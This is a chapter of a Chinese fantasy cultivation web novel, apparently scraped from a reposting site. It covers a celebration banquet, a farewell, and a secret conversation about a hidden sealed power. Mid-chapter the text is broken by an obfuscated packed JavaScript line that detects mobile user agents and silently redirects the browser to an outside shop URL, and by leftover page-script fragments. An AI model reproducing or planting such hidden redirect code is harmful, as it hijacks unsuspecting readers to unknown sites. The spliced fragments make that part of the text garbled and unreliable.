文趣网 > 其他小说 > 非要咸鱼拯救世界怎么办? > 90. 西荒异动(完)
    从松柏葳蕤到黄沙漫天,不过是瞬息之间,云柒柒三人便已离开圣灵碑,出现在了西荒域的圣灵城外。

    三人刚刚站定,便察觉到有一股柔和的力量环绕周身。

    这股柔和的力量宛如涓涓细流,丝丝缕缕地渗入三人体内,继而在他们的体内缓缓流转着。

    那是一种前所未有的感觉,似暖流淌过心尖,又似春风轻拂脸颊。它犹如破土而出的嫩芽,充满着无限的生机,悄无声息地破开了三人体内的重重桎梏。

    体内的灵力亦随之飞速攀升,将他们的修为稳稳推至地灵境和地武境中期。

    待到那股柔和的力量彻底散去,三人方才缓缓挣开双眼。映入眼帘的,是一座座不知何时变得暗淡了许多的圣灵碑。

    云柒柒心中震动,忍不住疑惑道:“这是?”

    “是圣灵的馈赠!”

    一直守在圣灵碑外的江域主率领众人迎上前来,温声解释道。

    黎玄师也笑道:“看来此番入了圣灵碑内,三位道友的实力又精进了不少!”

    “是啊!原本你们忽然被吸入圣灵碑内,我们还担忧不已。如今看来,三位道友果真是得天庇佑之人。”方城主由衷地感叹道。

    这一次,他是真的服气了。

    江域主望向圣灵城西侧的无妄海,亦是感慨万分地说道:“此次西荒域邪物入侵之危,总算暂时解除了!”

    众人顺着她的目光望向无妄海的方向,松了一口气的同时,心头不免压着一抹沉重。

    因为他们明白,只要无妄海的雾障一日不消,邪灵一日不被彻底灭绝,他们与邪物之间的战斗,便永远不会停止。

    邪物入侵之事暂且告一段落,众人又随江域主返回了白虎城。

    为了感谢各位远道而来并施以援手的修道者,江域主与黎玄师特意在西荒域主城设下庆功宴,同时也是一场饯别宴。

    宴会之上,众人一扫来时的忧虑与沉重,纷纷面露喜色。席间高谈阔论,觥筹交错,好不热闹。

    宴酣之时,云柒柒伏在案几上,盯着程启白端详了许久,终是忍不住问出了藏于心中的疑问。

    “小白,明明以你的实力,不应该被困在问心考验之中这么久啊!就算不比我快,也不该这么慢吧?”

    程启白迎上她的目光,轻笑道:“离开自是不难。我之所以留下,是为了求证一些事。”

    云柒柒闻言微微抬起身子,好奇地追问道:“求证什么事?”

    “说来有些复杂……”程启白缓缓斟满一杯酒,正欲送入口中。

    云柒柒见状,一把拽住他的衣袖,语气里隐约带着几分不满:“你是不是又在想着怎么糊弄我?”

    程启白状若惊讶道:“怎么可能?我只是在斟酌,该如何与你说。”

    云柒柒显然不信,索性坐直了身子,一脸严肃地盯着他:“你快说!”

    程启白无奈,只得放下手中的酒杯,轻叹道:“好吧。还记得我曾提过的,那位在问心考验之中碰到的老婆婆吗?”

    云柒柒点了点头。

    坐在她另一侧的陆天星闻言,也不由得转头望了过来。

    迎着两道求知欲极强的目光,程启白面不改色地说道:“算起来,她也是程氏一族的先祖,更是那位初代南荒域域主的祖母。”

    “你想要求证的事,和这位老婆婆有关?”云柒柒愈发不解。

    程启白颔首:“对。自我出生起,便一直体弱多病,体内无法承受过多的力量,因而无法像旁人那般正常修炼,只能一味地压制体内的灵气。”

    云柒柒恍然:“所以你之前实力低微,是因为不能随意突破?”

    “嗯。”程启白应了一声,“我的父亲和母亲遍请名医,却始终无法查出病因。后来他们翻遍了程氏一族的藏书阁,才终于找到了症结所在。”

    “是什么?”云柒柒急切地问道。

    而一旁的陆天星似乎想到了什么,神色微变,嘴唇微动,似是想要说些什么,但最后还是保持了沉默。

    程启白轻叹一声,说道:“因为我体内封印着一股力量,它会与修炼而来的灵力产生剧烈冲突。修为低时,尚且还能勉力压制,可一旦修为提升,那股力量便会逐渐失控。”

    “什么?”云柒柒一把攥住他的手,神色紧张地说道,“那你现在感觉如何?从圣灵碑出来之后你的修为又精进了许多,那股力量是不是开始压制不住了?”

    程启白反握住她的手,温声安抚道:“莫要担心,我无事。”

    云柒柒感受着掌心传来的温度,又仔细端详了一番他的神色,仍是不放心地确认道:“你真的没事?”

    程启白笑了笑,语气笃定:“真的,我不骗你。这次在问心考验中,我便是想要向那位老婆婆请教,该如何压制体内的这股力量。”

    云柒柒眼睛一亮,下意识地握紧了他的手,语气急切地追问道:“那位老婆婆有没有告诉你压制的办法?”

    程启白拍了拍她的手背,柔声道:“自然是问到了。”

    云柒柒半信半疑:“你没骗我吧?”

    程启白摇头:“没有。只是那位老婆婆说,此法只能暂时压制,却无法彻底驱除那股力量。”

    云柒柒眉头紧蹙:“那该怎么办?难道就没有办法可以驱除吗?”

    程启白再次摇头:“目前还没有。所以我打算此行结束之后,回一趟南荒域主城。或许在程氏一族的藏书密阁之中,还能够寻到一些线索。”

    云柒柒毫不犹豫地说道:“我陪你一起去!”

    程启白微微勾唇:“好。”

    一心系在程启白身上的云柒柒,不免忽视了另一侧坐着的人。

    在她拉住程启白的手的那一刻,陆天星的眼底便闪过一抹失落,而在听到她毫不犹豫地说要陪程启白回南荒域时,陆天星眼底的那一抹失落彻底化为了深深的黯然。

    他垂落在身侧的手,不由自主地攥紧了。

    程启白察觉到了他的异样,但也只是在心底暗叹一声,转而将话题引开:“不知其他人接下来有何打算?”

    云柒柒这才想起坐在另一侧的陆天星,转头看去,只见他神色如常地饮了一口酒。

    她虽觉得有几分违和,却也未及细想,而是开口问道:“天星,云婉姐姐,离开西荒域之后,你们打算去哪里?”

    一直安静不语的云婉,此刻才像是重新鲜活过来一般,柔声回道:“我打算先回一趟东荒域。”

    云柒柒又看向陆天星。

    陆天星下意识地避开了她的目光,垂下眼眸,默默地放下酒杯后才低声说道:“我陪姐姐回一趟东荒域。”

    云柒柒有些遗憾地叹了一口气:“看来我们要暂时分开了。”

    陆天星暗自看了她一眼,并未再说什么,气氛一时变得有些沉默。

    忽然,云婉出声问道:“柒柒姑娘,你接下来有何打算?”

    云柒柒想了想,说道:“原本我是打算随众人返回中荒圣域,顺便问问玄主大人,能不能借助圣塔的力量,发动修道者一同寻找消失的画中村。”

    云婉有些疑惑:“画中村?”

    “对!”云柒柒解释道,“我怀疑前往渊墟之地的办法,就藏在画中村内。”

    听到她这么说,程启白也赞同地说道:“柒柒说得不错。若是能找到消失已久的画中村,或许便能寻到前往渊墟之地的契机。”

    云婉恍然:“原来如此!待我处理完东荒域之事,便与你们一同寻找画中村。”

    云柒柒面露喜色:“那太好了!多一个人多一份力量,说不定我们很快就能找到它了!”

    庆功宴结束之后,众人各自散去。

    翌日清晨,从中荒圣域而来的修道者们齐聚无漏塔前的广场之上,准备如同来时一般,再次乘坐云舟返回。

    这个平日里尚显空旷的广场,此刻已被围得水泄不通。除了即将离去的修道者,其余皆是西荒域主城的百姓。

    他们安静地立在广场边缘,目送着这些前来援助西荒域的修道者一个接一个地登上云舟。

    正在云舟下方等候程启白的云柒柒,也看到了这一幕,心中一时百感交集。

    她大概永远也忘不了从圣灵城回到主城的那日,从云舟上俯瞰的景象。

    一条条张灯结彩的大街小巷,一张张笑容洋溢的脸庞,一声声充满喜悦的呼唤,一句句来自肺腑的感激之语……

    那一刻她终于明白,这便是他们这些修道者守护的人,也是修道者存在的意义。

    破解灾域,消灭邪物,击杀邪灵,乃至战胜灾厄!

    在这条荆棘之路上奋力前行的,从来不止是大荒的修道者,更是生于大荒四域的所有人!

    良久,云柒柒才缓缓移开视线。

    令她感到疑惑的是,程启白已离开许久,怎么还不曾回来。

    就在她准备折返寻人时,身后忽然传来一道熟悉的声音。

    “小姑娘,你这是要去哪儿啊?云舟马上便要启程了。”

    云柒柒回头,见是熟人,当即笑着回道:“原来是白隐大师!我在等小白,可他迟迟未至,我正打算去找他。”

    白隐大师哈哈大笑:“嗐!老夫就说嘛,原本形影不离的两个人,怎的只剩你一个了!”

    云柒柒有些无语,转而问道:“看您如此高兴,想必那远距离传送阵已是布置成功了?”

    白隐大师抚着胡须感慨道:“差不多吧!只是还需稍加调试,此行也算幸不辱命!”

    云柒柒立刻夸赞道:“我就知道,只要白隐大师一出手,区区传送阵定然不在话下!”

    “小姑娘,你可真是……太会说话了!”白隐大师听得心花怒放,笑声愈发爽朗。

    云柒柒莞尔:“前辈谬赞!”

    白隐大师摆摆手:“既然你在此处等人,老夫便先行一步。”

    “前辈请!”云柒柒拱手道。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646769|204393||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>白隐大师离开没多久,程启白的身影便出现了。

    云柒柒一见他,便问道:“小白,你刚才去哪儿了?怎么这么久才回来?”

    程启白走到她面前,温声笑道:“让你等急了吧?抱歉!”

    云柒柒摇摇头:“倒也没有。算了,我们还是先上云舟吧,你不是说要先去一趟中荒圣域吗?”

    “对。”程启白点点头,“你昨晚的想法很好,我们可以借助圣塔的力量寻找画中村。”

    两人顺利登上云舟,随众多修道者一同返回中荒圣域。

    云舟之上。

    云柒柒悄悄绕到程启白身后,突然拽住他的衣角,微微倾身靠近,侧首问道:“小白,你方才和天星去哪儿了?该不会是私底下有什么事瞒着我吧?”

    这可不是她以小人之心度君子之腹,毕竟这两人可是有“前科”的!

    犹记得上一次两人养病之时,也是背着自己悄悄商议了什么。

    那情那景,与这一次何其相像!

    程启白先是一怔,随即转过身来,轻笑出声。

    见这个问题混不过去,他只好如实招来:“不过是同天星他们道个别罢了。”

    云柒柒狐疑地看着他:“是吗?”

    “自然是真的。”程启白微微挑眉,“你似乎越来越不信任我了?”

    被他这么一看,云柒柒心中不免有些不自在,下意识地松开了手,还顺手将被自己抓皱的地方抚平。

    随后她立即反驳道:“绝对没有!我只是觉得你们俩像是有什么事瞒着我,不然为什么要避开我单独告别?”

    程启白见她眼神躲闪,无奈地笑了:“你啊,就是想得太多了!”

    “真的吗?”云柒柒盯着他的眼睛追问道。

    程启白点头。

    “……好吧!”

    见他神色坦荡,云柒柒勉强信了。

    “不过你现在情况特殊,遇到什么事,能不能不要瞒着我?”她低下头,语气里带着几分祈求。

    有些人遇到危险,总想着独自扛下,结果却害得身边的人伤心难过。

    她不希望程启白也变成那样。

    程启白闻言心中一暖,忍不住勾起唇角,语气轻快地说道:“原来柒柒这是在关心我呀!是我的错,以后不管发生何事,我都第一时间告诉你,绝不隐瞒,好不好?”

    “这可是你说的!”

    云柒柒抬起头,露出一个得逞的笑容。

    程启白克制不住地轻点了一下她的额头,对着她宠溺地笑了笑:“嗯,我说的。”

    云舟冲破层层云雾,那些漂浮的流云犹如四散的思绪,很快便再次聚拢。

    其实离开之前,是陆天星主动寻来的。而程启白猜到了他想问什么,于是便不曾拒绝。

    两人极为默契地避开了云柒柒,寻了一处僻静之地交谈。

    陆天星一开口,语气便十分笃定:“当初在问心考验中,你若想离开,应当很是容易。”

    “是。”程启白坦然承认。

    “当初进入双羽镇后,我便明白了,只要我甘愿赴死,被镇中之人杀死,便能通过问心考验。”

    陆天星忍不住侧首望向他:“那你为何没有立即离开?”

    程启白:“所谓问心考验,实则是圣人留与我们三人的试炼。否则也不会如此巧合,偏偏只有我们三人被吸入圣灵碑。”

    陆天星听后若有所思,随即问道:“所以,你是在担心我们无法顺利通过考验?”

    程启白点头:“是。问心便是要直面内心的执念,既然我已知晓如何通过考验,便随时都能离开。而留下来,说不定还能帮你们一把。”

    陆天星似乎不愿再谈这个话题,转而直截了当地问道:“你体内的那股力量,真的还能压制住吗?”

    程启白沉默片刻,才道:“目前还可以。”

    陆天星深吸一口气:“为何不将一切都告诉她?”

    程启白沉默了许久,这才叹息般地说道:“尘埃未定,何必令她心中时时忧惧?更何况,这本不该是她的责任。”

    对此,陆天星极为不赞同:“若是她知道……”

    “不!”程启白打断他,“我们该让她自己做出选择,而不是以任何形式干扰她,甚至逼迫她。”

    陆天星皱眉:“你明知道,这是无法避免的!”

    “那就当是我的私心吧!”程启白苦笑,“我们都不愿看到她陷入那样的困境,不是吗?”

    陆天星也沉默了。

    程启白看向他,轻声道:“虽然我们早已知晓未来会发生什么,但谁都不曾完全顺从,反而都在寻求那一线生机,不是吗?”

    陆天星讶异地望向他,眼底闪过几分不甘:“我以为只有我不愿顺从。”

    “不。”

    程启白笑了笑,伸手拍了拍陆天星的肩膀,语气坚定而从容。

    “都说人算不如天算,那我们便算给天看!”